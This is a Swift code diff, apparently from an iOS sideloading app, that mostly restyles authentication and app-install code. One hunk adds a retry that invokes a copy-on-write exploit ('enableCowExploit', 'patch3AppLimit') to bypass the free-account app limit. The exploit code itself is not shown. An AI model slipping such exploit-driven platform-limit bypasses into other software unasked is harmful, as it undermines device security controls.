let installedApp = self.dataSource.item(at: indexPath)
|
let installedApp = self.dataSource.item(at: indexPath)
|
||||||
guard installedApp.bundleIdentifier != StoreApp.altstoreAppID else {
|
guard installedApp.bundleIdentifier != StoreApp.altstoreAppID
|
||||||
|
else
|
||||||
|
{
|
||||||
// Can't deactivate AltStore.
|
// Can't deactivate AltStore.
|
||||||
return UICollectionViewDropProposal(operation: .forbidden, intent: .insertIntoDestinationIndexPath)
|
return UICollectionViewDropProposal(operation: .forbidden, intent: .insertIntoDestinationIndexPath)
|
||||||
}
|
}
|
||||||
@@ -1978,8 +2069,10 @@ extension MyAppsViewController: UICollectionViewDropDelegate
|
|||||||
installedApp.isActive = true
|
installedApp.isActive = true
|
||||||
|
|
||||||
let previousInstalledApp = self.dataSource.item(at: destinationIndexPath)
|
let previousInstalledApp = self.dataSource.item(at: destinationIndexPath)
|
||||||
self.deactivate(previousInstalledApp) { (result) in
|
self.deactivate(previousInstalledApp)
|
||||||
installedApp.managedObjectContext?.perform {
|
{ result in
|
||||||
|
installedApp.managedObjectContext?.perform
|
||||||
|
{
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .failure: installedApp.isActive = false
|
case .failure: installedApp.isActive = false
|
||||||
@@ -2053,7 +2146,8 @@ extension MyAppsViewController: UIDocumentPickerDelegate
|
|||||||
switch controller.documentPickerMode
|
switch controller.documentPickerMode
|
||||||
{
|
{
|
||||||
case .import, .open:
|
case .import, .open:
|
||||||
self.sideloadApp(at: fileURL) { (result) in
|
self.sideloadApp(at: fileURL)
|
||||||
|
{ result in
|
||||||
print("Sideloaded app at \(fileURL) with result:", result)
|
print("Sideloaded app at \(fileURL) with result:", result)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2101,7 +2195,8 @@ extension MyAppsViewController: UIImagePickerControllerDelegate, UINavigationCon
|
|||||||
{
|
{
|
||||||
func imagePickerController(_ picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [UIImagePickerController.InfoKey: Any])
|
func imagePickerController(_ picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [UIImagePickerController.InfoKey: Any])
|
||||||
{
|
{
|
||||||
defer {
|
defer
|
||||||
|
{
|
||||||
picker.dismiss(animated: true, completion: nil)
|
picker.dismiss(animated: true, completion: nil)
|
||||||
self._imagePickerInstalledApp = nil
|
self._imagePickerInstalledApp = nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,11 +7,11 @@
|
|||||||
//
|
//
|
||||||
|
|
||||||
import Foundation
|
import Foundation
|
||||||
import Roxas
|
|
||||||
import Network
|
import Network
|
||||||
|
import Roxas
|
||||||
|
|
||||||
import AltStoreCore
|
|
||||||
import AltSign
|
import AltSign
|
||||||
|
import AltStoreCore
|
||||||
|
|
||||||
enum AuthenticationError: LocalizedError
|
enum AuthenticationError: LocalizedError
|
||||||
{
|
{
|
||||||
@@ -22,8 +22,10 @@ enum AuthenticationError: LocalizedError
|
|||||||
case missingPrivateKey
|
case missingPrivateKey
|
||||||
case missingCertificate
|
case missingCertificate
|
||||||
|
|
||||||
var errorDescription: String? {
|
var errorDescription: String?
|
||||||
switch self {
|
{
|
||||||
|
switch self
|
||||||
|
{
|
||||||
case .noTeam: return NSLocalizedString("Developer team could not be found.", comment: "")
|
case .noTeam: return NSLocalizedString("Developer team could not be found.", comment: "")
|
||||||
case .teamSelectorError: return NSLocalizedString("Error presenting team selector view.", comment: "")
|
case .teamSelectorError: return NSLocalizedString("Error presenting team selector view.", comment: "")
|
||||||
case .noCertificate: return NSLocalizedString("Developer certificate could not be found.", comment: "")
|
case .noCertificate: return NSLocalizedString("Developer certificate could not be found.", comment: "")
|
||||||
@@ -82,7 +84,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Sign In
|
// Sign In
|
||||||
self.signIn() { (result) in
|
self.signIn
|
||||||
|
{ result in
|
||||||
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
||||||
|
|
||||||
switch result
|
switch result
|
||||||
@@ -93,7 +96,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
|||||||
self.progress.completedUnitCount += 1
|
self.progress.completedUnitCount += 1
|
||||||
|
|
||||||
// Fetch Team
|
// Fetch Team
|
||||||
self.fetchTeam(for: account, session: session) { (result) in
|
self.fetchTeam(for: account, session: session)
|
||||||
|
{ result in
|
||||||
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
||||||
|
|
||||||
switch result
|
switch result
|
||||||
@@ -104,7 +108,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
|||||||
self.progress.completedUnitCount += 1
|
self.progress.completedUnitCount += 1
|
||||||
|
|
||||||
// Fetch Certificate
|
// Fetch Certificate
|
||||||
self.fetchCertificate(for: team, session: session) { (result) in
|
self.fetchCertificate(for: team, session: session)
|
||||||
|
{ result in
|
||||||
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
||||||
|
|
||||||
switch result
|
switch result
|
||||||
@@ -115,7 +120,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
|||||||
self.progress.completedUnitCount += 1
|
self.progress.completedUnitCount += 1
|
||||||
|
|
||||||
// Register Device
|
// Register Device
|
||||||
self.registerCurrentDevice(for: team, session: session) { (result) in
|
self.registerCurrentDevice(for: team, session: session)
|
||||||
|
{ result in
|
||||||
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
||||||
|
|
||||||
switch result
|
switch result
|
||||||
@@ -125,7 +131,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
|||||||
self.progress.completedUnitCount += 1
|
self.progress.completedUnitCount += 1
|
||||||
|
|
||||||
// Save account/team to disk.
|
// Save account/team to disk.
|
||||||
self.save(team) { (result) in
|
self.save(team)
|
||||||
|
{ result in
|
||||||
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
||||||
|
|
||||||
switch result
|
switch result
|
||||||
@@ -133,7 +140,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
|||||||
case .failure(let error): self.finish(.failure(error))
|
case .failure(let error): self.finish(.failure(error))
|
||||||
case .success:
|
case .success:
|
||||||
// Must cache App IDs _after_ saving account/team to disk.
|
// Must cache App IDs _after_ saving account/team to disk.
|
||||||
self.cacheAppIDs(team: team, session: session) { (result) in
|
self.cacheAppIDs(team: team, session: session)
|
||||||
|
{ result in
|
||||||
let result = result.map { _ in (team, certificate, session) }
|
let result = result.map { _ in (team, certificate, session) }
|
||||||
self.finish(result)
|
self.finish(result)
|
||||||
}
|
}
|
||||||
@@ -152,7 +160,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
|||||||
func save(_ altTeam: ALTTeam, completionHandler: @escaping (Result<Void, Error>) -> Void)
|
func save(_ altTeam: ALTTeam, completionHandler: @escaping (Result<Void, Error>) -> Void)
|
||||||
{
|
{
|
||||||
let context = DatabaseManager.shared.persistentContainer.newBackgroundContext()
|
let context = DatabaseManager.shared.persistentContainer.newBackgroundContext()
|
||||||
context.performAndWait {
|
context.performAndWait
|
||||||
|
{
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let account: Account
|
let account: Account
|
||||||
@@ -204,7 +213,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
|||||||
print("Finished authenticating with result:", result.error?.localizedDescription ?? "success")
|
print("Finished authenticating with result:", result.error?.localizedDescription ?? "success")
|
||||||
|
|
||||||
let context = DatabaseManager.shared.persistentContainer.newBackgroundContext()
|
let context = DatabaseManager.shared.persistentContainer.newBackgroundContext()
|
||||||
context.perform {
|
context.perform
|
||||||
|
{
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let (altTeam, altCertificate, session) = try result.get()
|
let (altTeam, altCertificate, session) = try result.get()
|
||||||
@@ -241,7 +251,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
|||||||
let activeAppsMinimumVersion = OperatingSystemVersion(majorVersion: 13, minorVersion: 3, patchVersion: 1)
|
let activeAppsMinimumVersion = OperatingSystemVersion(majorVersion: 13, minorVersion: 3, patchVersion: 1)
|
||||||
if team.type == .free, ProcessInfo.processInfo.isOperatingSystemAtLeast(activeAppsMinimumVersion)
|
if team.type == .free, ProcessInfo.processInfo.isOperatingSystemAtLeast(activeAppsMinimumVersion)
|
||||||
{
|
{
|
||||||
UserDefaults.standard.activeAppsLimit = ALTActiveAppsLimit
|
UserDefaults.standard.activeAppsLimit = InstalledApp.freeAccountActiveAppsLimit
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@@ -258,14 +268,16 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
|||||||
Keychain.shared.signingCertificate = altCertificate.p12Data()
|
Keychain.shared.signingCertificate = altCertificate.p12Data()
|
||||||
Keychain.shared.signingCertificatePassword = altCertificate.machineIdentifier
|
Keychain.shared.signingCertificatePassword = altCertificate.machineIdentifier
|
||||||
|
|
||||||
self.showInstructionsIfNecessary() { (didShowInstructions) in
|
self.showInstructionsIfNecessary
|
||||||
|
{ _ in
|
||||||
let signer = ALTSigner(team: altTeam, certificate: altCertificate)
|
let signer = ALTSigner(team: altTeam, certificate: altCertificate)
|
||||||
// Refresh screen must go last since a successful refresh will cause the app to quit.
|
// Refresh screen must go last since a successful refresh will cause the app to quit.
|
||||||
self.showRefreshScreenIfNecessary(signer: signer, session: session) { (didShowRefreshAlert) in
|
self.showRefreshScreenIfNecessary(signer: signer, session: session)
|
||||||
|
{ _ in
|
||||||
super.finish(result)
|
super.finish(result)
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
self.navigationController.dismiss(animated: true, completion: nil)
|
self.navigationController.dismiss(animated: true, completion: nil)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -275,7 +287,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
|||||||
{
|
{
|
||||||
super.finish(result)
|
super.finish(result)
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
self.navigationController.dismiss(animated: true, completion: nil)
|
self.navigationController.dismiss(animated: true, completion: nil)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -314,14 +327,16 @@ private extension AuthenticationOperation
|
|||||||
{
|
{
|
||||||
func authenticate()
|
func authenticate()
|
||||||
{
|
{
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
let authenticationViewController = self.storyboard.instantiateViewController(withIdentifier: "authenticationViewController") as! AuthenticationViewController
|
let authenticationViewController = self.storyboard.instantiateViewController(withIdentifier: "authenticationViewController") as! AuthenticationViewController
|
||||||
authenticationViewController.authenticationHandler = { (appleID, password, completionHandler) in
|
authenticationViewController.authenticationHandler = { appleID, password, completionHandler in
|
||||||
self.authenticate(appleID: appleID, password: password) { (result) in
|
self.authenticate(appleID: appleID, password: password)
|
||||||
|
{ result in
|
||||||
completionHandler(result)
|
completionHandler(result)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
authenticationViewController.completionHandler = { (result) in
|
authenticationViewController.completionHandler = { result in
|
||||||
if let (account, session, password) = result
|
if let (account, session, password) = result
|
||||||
{
|
{
|
||||||
// We presented the Auth UI and the user signed in.
|
// We presented the Auth UI and the user signed in.
|
||||||
@@ -346,7 +361,8 @@ private extension AuthenticationOperation
|
|||||||
|
|
||||||
if let appleID = Keychain.shared.appleIDEmailAddress, let password = Keychain.shared.appleIDPassword
|
if let appleID = Keychain.shared.appleIDEmailAddress, let password = Keychain.shared.appleIDPassword
|
||||||
{
|
{
|
||||||
self.authenticate(appleID: appleID, password: password) { (result) in
|
self.authenticate(appleID: appleID, password: password)
|
||||||
|
{ result in
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .success((let account, let session)):
|
case .success((let account, let session)):
|
||||||
@@ -372,7 +388,7 @@ private extension AuthenticationOperation
|
|||||||
self.appleIDEmailAddress = appleID
|
self.appleIDEmailAddress = appleID
|
||||||
|
|
||||||
let fetchAnisetteDataOperation = FetchAnisetteDataOperation(context: self.context)
|
let fetchAnisetteDataOperation = FetchAnisetteDataOperation(context: self.context)
|
||||||
fetchAnisetteDataOperation.resultHandler = { (result) in
|
fetchAnisetteDataOperation.resultHandler = { result in
|
||||||
switch result
|
switch result
|
||||||
{
|
{
|
||||||
case .failure(let error): completionHandler(.failure(error))
|
case .failure(let error): completionHandler(.failure(error))
|
||||||
@@ -381,10 +397,12 @@ private extension AuthenticationOperation
|
|||||||
|
|
||||||
if let presentingViewController = self.presentingViewController
|
if let presentingViewController = self.presentingViewController
|
||||||
{
|
{
|
||||||
verificationHandler = { (completionHandler) in
|
verificationHandler = { completionHandler in
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
let alertController = UIAlertController(title: NSLocalizedString("Please enter the 6-digit verification code that was sent to your Apple devices.", comment: ""), message: nil, preferredStyle: .alert)
|
let alertController = UIAlertController(title: NSLocalizedString("Please enter the 6-digit verification code that was sent to your Apple devices.", comment: ""), message: nil, preferredStyle: .alert)
|
||||||
alertController.addTextField { (textField) in
|
alertController.addTextField
|
||||||
|
{ textField in
|
||||||
textField.autocorrectionType = .no
|
textField.autocorrectionType = .no
|
||||||
textField.autocapitalizationType = .none
|
textField.autocapitalizationType = .none
|
||||||
textField.keyboardType = .numberPad
|
textField.keyboardType = .numberPad
|
||||||
@@ -392,7 +410,8 @@ private extension AuthenticationOperation
|
|||||||
NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationOperation.textFieldTextDidChange(_:)), name: UITextField.textDidChangeNotification, object: textField)
|
NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationOperation.textFieldTextDidChange(_:)), name: UITextField.textDidChangeNotification, object: textField)
|
||||||
}
|
}
|
||||||
|
|
||||||
let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default) { (action) in
|
let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default)
|
||||||
|
{ _ in
|
||||||
let textField = alertController.textFields?.first
|
let textField = alertController.textFields?.first
|
||||||
|
|
||||||
let code = textField?.text ?? ""
|
let code = textField?.text ?? ""
|
||||||
@@ -402,7 +421,8 @@ private extension AuthenticationOperation
|
|||||||
alertController.addAction(submitAction)
|
alertController.addAction(submitAction)
|
||||||
self.submitCodeAction = submitAction
|
self.submitCodeAction = submitAction
|
||||||
|
|
||||||
alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel) { (action) in
|
alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel)
|
||||||
|
{ _ in
|
||||||
completionHandler(nil)
|
completionHandler(nil)
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -424,7 +444,8 @@ private extension AuthenticationOperation
|
|||||||
}
|
}
|
||||||
|
|
||||||
ALTAppleAPI.shared.authenticate(appleID: appleID, password: password, anisetteData: anisetteData,
|
ALTAppleAPI.shared.authenticate(appleID: appleID, password: password, anisetteData: anisetteData,
|
||||||
verificationHandler: verificationHandler) { (account, session, error) in
|
verificationHandler: verificationHandler)
|
||||||
|
{ account, session, error in
|
||||||
if let account = account, let session = session
|
if let account = account, let session = session
|
||||||
{
|
{
|
||||||
completionHandler(.success((account, session)))
|
completionHandler(.success((account, session)))
|
||||||
@@ -444,14 +465,21 @@ private extension AuthenticationOperation
|
|||||||
{
|
{
|
||||||
func selectTeam(from teams: [ALTTeam])
|
func selectTeam(from teams: [ALTTeam])
|
||||||
{
|
{
|
||||||
if teams.count <= 1 {
|
if teams.count <= 1
|
||||||
if let team = teams.first {
|
{
|
||||||
|
if let team = teams.first
|
||||||
|
{
|
||||||
return completionHandler(.success(team))
|
return completionHandler(.success(team))
|
||||||
} else {
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
return completionHandler(.failure(AuthenticationError.noTeam))
|
return completionHandler(.failure(AuthenticationError.noTeam))
|
||||||
}
|
}
|
||||||
} else {
|
}
|
||||||
DispatchQueue.main.async {
|
else
|
||||||
|
{
|
||||||
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
let selectTeamViewController = self.storyboard.instantiateViewController(withIdentifier: "selectTeamViewController") as! SelectTeamViewController
|
let selectTeamViewController = self.storyboard.instantiateViewController(withIdentifier: "selectTeamViewController") as! SelectTeamViewController
|
||||||
|
|
||||||
selectTeamViewController.teams = teams
|
selectTeamViewController.teams = teams
|
||||||
@@ -465,12 +493,14 @@ private extension AuthenticationOperation
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
ALTAppleAPI.shared.fetchTeams(for: account, session: session) { (teams, error) in
|
ALTAppleAPI.shared.fetchTeams(for: account, session: session)
|
||||||
|
{ teams, error in
|
||||||
switch Result(teams, error)
|
switch Result(teams, error)
|
||||||
{
|
{
|
||||||
case .failure(let error): completionHandler(.failure(error))
|
case .failure(let error): completionHandler(.failure(error))
|
||||||
case .success(let teams):
|
case .success(let teams):
|
||||||
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
|
DatabaseManager.shared.persistentContainer.performBackgroundTask
|
||||||
|
{ context in
|
||||||
if let activeTeam = DatabaseManager.shared.activeTeam(in: context), let altTeam = teams.first(where: { $0.identifier == activeTeam.identifier })
|
if let activeTeam = DatabaseManager.shared.activeTeam(in: context), let altTeam = teams.first(where: { $0.identifier == activeTeam.identifier })
|
||||||
{
|
{
|
||||||
completionHandler(.success(altTeam))
|
completionHandler(.success(altTeam))
|
||||||
@@ -489,18 +519,22 @@ private extension AuthenticationOperation
|
|||||||
func requestCertificate()
|
func requestCertificate()
|
||||||
{
|
{
|
||||||
let machineName = "AltStore - " + UIDevice.current.name
|
let machineName = "AltStore - " + UIDevice.current.name
|
||||||
ALTAppleAPI.shared.addCertificate(machineName: machineName, to: team, session: session) { (certificate, error) in
|
ALTAppleAPI.shared.addCertificate(machineName: machineName, to: team, session: session)
|
||||||
|
{ certificate, error in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let certificate = try Result(certificate, error).get()
|
let certificate = try Result(certificate, error).get()
|
||||||
guard let privateKey = certificate.privateKey else { throw AuthenticationError.missingPrivateKey }
|
guard let privateKey = certificate.privateKey else { throw AuthenticationError.missingPrivateKey }
|
||||||
|
|
||||||
ALTAppleAPI.shared.fetchCertificates(for: team, session: session) { (certificates, error) in
|
ALTAppleAPI.shared.fetchCertificates(for: team, session: session)
|
||||||
|
{ certificates, error in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let certificates = try Result(certificates, error).get()
|
let certificates = try Result(certificates, error).get()
|
||||||
|
|
||||||
guard let certificate = certificates.first(where: { $0.serialNumber == certificate.serialNumber }) else {
|
guard let certificate = certificates.first(where: { $0.serialNumber == certificate.serialNumber })
|
||||||
|
else
|
||||||
|
{
|
||||||
throw AuthenticationError.missingCertificate
|
throw AuthenticationError.missingCertificate
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -524,7 +558,8 @@ private extension AuthenticationOperation
|
|||||||
{
|
{
|
||||||
guard let certificate = certificates.first(where: { $0.machineName?.starts(with: "AltStore") == true }) ?? certificates.first else { return completionHandler(.failure(AuthenticationError.noCertificate)) }
|
guard let certificate = certificates.first(where: { $0.machineName?.starts(with: "AltStore") == true }) ?? certificates.first else { return completionHandler(.failure(AuthenticationError.noCertificate)) }
|
||||||
|
|
||||||
ALTAppleAPI.shared.revoke(certificate, for: team, session: session) { (success, error) in
|
ALTAppleAPI.shared.revoke(certificate, for: team, session: session)
|
||||||
|
{ success, error in
|
||||||
if let error = error, !success
|
if let error = error, !success
|
||||||
{
|
{
|
||||||
completionHandler(.failure(error))
|
completionHandler(.failure(error))
|
||||||
@@ -536,7 +571,8 @@ private extension AuthenticationOperation
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
ALTAppleAPI.shared.fetchCertificates(for: team, session: session) { (certificates, error) in
|
ALTAppleAPI.shared.fetchCertificates(for: team, session: session)
|
||||||
|
{ certificates, error in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let certificates = try Result(certificates, error).get()
|
let certificates = try Result(certificates, error).get()
|
||||||
@@ -593,11 +629,14 @@ private extension AuthenticationOperation
|
|||||||
|
|
||||||
func registerCurrentDevice(for team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTDevice, Error>) -> Void)
|
func registerCurrentDevice(for team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTDevice, Error>) -> Void)
|
||||||
{
|
{
|
||||||
guard let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String else {
|
guard let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String
|
||||||
|
else
|
||||||
|
{
|
||||||
return completionHandler(.failure(OperationError.unknownUDID))
|
return completionHandler(.failure(OperationError.unknownUDID))
|
||||||
}
|
}
|
||||||
|
|
||||||
ALTAppleAPI.shared.fetchDevices(for: team, types: [.iphone, .ipad], session: session) { (devices, error) in
|
ALTAppleAPI.shared.fetchDevices(for: team, types: [.iphone, .ipad], session: session)
|
||||||
|
{ devices, error in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let devices = try Result(devices, error).get()
|
let devices = try Result(devices, error).get()
|
||||||
@@ -608,7 +647,8 @@ private extension AuthenticationOperation
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
ALTAppleAPI.shared.registerDevice(name: UIDevice.current.name, identifier: udid, type: .iphone, team: team, session: session) { (device, error) in
|
ALTAppleAPI.shared.registerDevice(name: UIDevice.current.name, identifier: udid, type: .iphone, team: team, session: session)
|
||||||
|
{ device, error in
|
||||||
completionHandler(Result(device, error))
|
completionHandler(Result(device, error))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -623,7 +663,7 @@ private extension AuthenticationOperation
|
|||||||
func cacheAppIDs(team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<Void, Error>) -> Void)
|
func cacheAppIDs(team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<Void, Error>) -> Void)
|
||||||
{
|
{
|
||||||
let fetchAppIDsOperation = FetchAppIDsOperation(context: self.context)
|
let fetchAppIDsOperation = FetchAppIDsOperation(context: self.context)
|
||||||
fetchAppIDsOperation.resultHandler = { (result) in
|
fetchAppIDsOperation.resultHandler = { result in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let (_, context) = try result.get()
|
let (_, context) = try result.get()
|
||||||
@@ -644,7 +684,8 @@ private extension AuthenticationOperation
|
|||||||
{
|
{
|
||||||
guard self.shouldShowInstructions else { return completionHandler(false) }
|
guard self.shouldShowInstructions else { return completionHandler(false) }
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
let instructionsViewController = self.storyboard.instantiateViewController(withIdentifier: "instructionsViewController") as! InstructionsViewController
|
let instructionsViewController = self.storyboard.instantiateViewController(withIdentifier: "instructionsViewController") as! InstructionsViewController
|
||||||
instructionsViewController.showsBottomButton = true
|
instructionsViewController.showsBottomButton = true
|
||||||
instructionsViewController.completionHandler = {
|
instructionsViewController.completionHandler = {
|
||||||
@@ -668,7 +709,8 @@ private extension AuthenticationOperation
|
|||||||
#if DEBUG
|
#if DEBUG
|
||||||
completionHandler(false)
|
completionHandler(false)
|
||||||
#else
|
#else
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async
|
||||||
|
{
|
||||||
let context = AuthenticatedOperationContext(context: self.context)
|
let context = AuthenticatedOperationContext(context: self.context)
|
||||||
context.operations.removeAllObjects() // Prevent deadlock due to endless waiting on previous operations to finish.
|
context.operations.removeAllObjects() // Prevent deadlock due to endless waiting on previous operations to finish.
|
||||||
|
|
||||||
|
|||||||
@@ -478,10 +478,13 @@ extension FetchProvisioningProfilesOperation
|
|||||||
ALTAppleAPI.shared.delete(profile, for: team, session: session) { (success, error) in
|
ALTAppleAPI.shared.delete(profile, for: team, session: session) { (success, error) in
|
||||||
switch Result(success, error)
|
switch Result(success, error)
|
||||||
{
|
{
|
||||||
case .failure(let error): completionHandler(.failure(error))
|
case .failure:
|
||||||
case .success:
|
// As of March 20, 2023, the free provisioning profile is re-generated each fetch, and you can no longer delete it.
|
||||||
|
// So instead, we just return the fetched profile from above.
|
||||||
|
completionHandler(.success(profile))
|
||||||
|
|
||||||
// Fetch new provisiong profile
|
case .success:
|
||||||
|
// Fetch new provisioning profile
|
||||||
ALTAppleAPI.shared.fetchProvisioningProfile(for: appID, deviceType: .iphone, team: team, session: session) { (profile, error) in
|
ALTAppleAPI.shared.fetchProvisioningProfile(for: appID, deviceType: .iphone, team: team, session: session) { (profile, error) in
|
||||||
completionHandler(Result(profile, error))
|
completionHandler(Result(profile, error))
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -8,8 +8,8 @@
|
|||||||
import Foundation
|
import Foundation
|
||||||
import Network
|
import Network
|
||||||
|
|
||||||
import AltStoreCore
|
|
||||||
import AltSign
|
import AltSign
|
||||||
|
import AltStoreCore
|
||||||
import Roxas
|
import Roxas
|
||||||
|
|
||||||
@objc(InstallAppOperation)
|
@objc(InstallAppOperation)
|
||||||
@@ -44,8 +44,8 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
|||||||
else { return self.finish(.failure(OperationError.invalidParameters)) }
|
else { return self.finish(.failure(OperationError.invalidParameters)) }
|
||||||
|
|
||||||
let backgroundContext = DatabaseManager.shared.persistentContainer.newBackgroundContext()
|
let backgroundContext = DatabaseManager.shared.persistentContainer.newBackgroundContext()
|
||||||
backgroundContext.perform {
|
backgroundContext.perform
|
||||||
|
{
|
||||||
/* App */
|
/* App */
|
||||||
let installedApp: InstalledApp
|
let installedApp: InstalledApp
|
||||||
|
|
||||||
@@ -142,7 +142,8 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
activeProfiles = Set(activeApps.flatMap { (installedApp) -> [String] in
|
activeProfiles = Set(activeApps.flatMap
|
||||||
|
{ installedApp -> [String] in
|
||||||
let appExtensionProfiles = installedApp.appExtensions.map { $0.resignedBundleIdentifier }
|
let appExtensionProfiles = installedApp.appExtensions.map { $0.resignedBundleIdentifier }
|
||||||
return [installedApp.resignedBundleIdentifier] + appExtensionProfiles
|
return [installedApp.resignedBundleIdentifier] + appExtensionProfiles
|
||||||
})
|
})
|
||||||
@@ -152,11 +153,50 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
|||||||
let ns_bundle_ptr = UnsafeMutablePointer<CChar>(mutating: ns_bundle.utf8String)
|
let ns_bundle_ptr = UnsafeMutablePointer<CChar>(mutating: ns_bundle.utf8String)
|
||||||
|
|
||||||
let res = minimuxer_install_ipa(ns_bundle_ptr)
|
let res = minimuxer_install_ipa(ns_bundle_ptr)
|
||||||
if res == 0 {
|
if res == 0
|
||||||
|
{
|
||||||
installedApp.refreshedDate = Date()
|
installedApp.refreshedDate = Date()
|
||||||
self.finish(.success(installedApp))
|
self.finish(.success(installedApp))
|
||||||
|
}
|
||||||
|
else if res == -15
|
||||||
|
{
|
||||||
|
// try again
|
||||||
|
if UserDefaults.standard.enableCowExploit && UserDefaults.standard.isCowExploitSupported
|
||||||
|
{
|
||||||
|
patch3AppLimit
|
||||||
|
{ result in
|
||||||
|
switch result
|
||||||
|
{
|
||||||
|
case .success:
|
||||||
|
UserDefaults.standard.set(bootTime(), forKey: "cowExploitRanBootTime")
|
||||||
|
print("patched sucessfully")
|
||||||
|
case .failure(let err):
|
||||||
|
switch err
|
||||||
|
{
|
||||||
|
case .NoFDA:
|
||||||
|
self.finish(.failure(OperationError.cowExploitNoFDA))
|
||||||
|
return
|
||||||
|
case .FailedPatchd:
|
||||||
|
self.finish(.failure(OperationError.cowExploitFailedPatchd))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
} else {
|
let res_try_again = minimuxer_install_ipa(ns_bundle_ptr)
|
||||||
|
if res_try_again == 0
|
||||||
|
{
|
||||||
|
installedApp.refreshedDate = Date()
|
||||||
|
self.finish(.success(installedApp))
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
self.finish(.failure(minimuxer_to_operation(code: res_try_again)))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
self.finish(.failure(minimuxer_to_operation(code: res)))
|
self.finish(.failure(minimuxer_to_operation(code: res)))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,11 +6,10 @@
|
|||||||
// Copyright © 2019 Riley Testut. All rights reserved.
|
// Copyright © 2019 Riley Testut. All rights reserved.
|
||||||
//
|
//
|
||||||
|
|
||||||
import Foundation
|
|
||||||
import AltSign
|
import AltSign
|
||||||
|
import Foundation
|
||||||
|
|
||||||
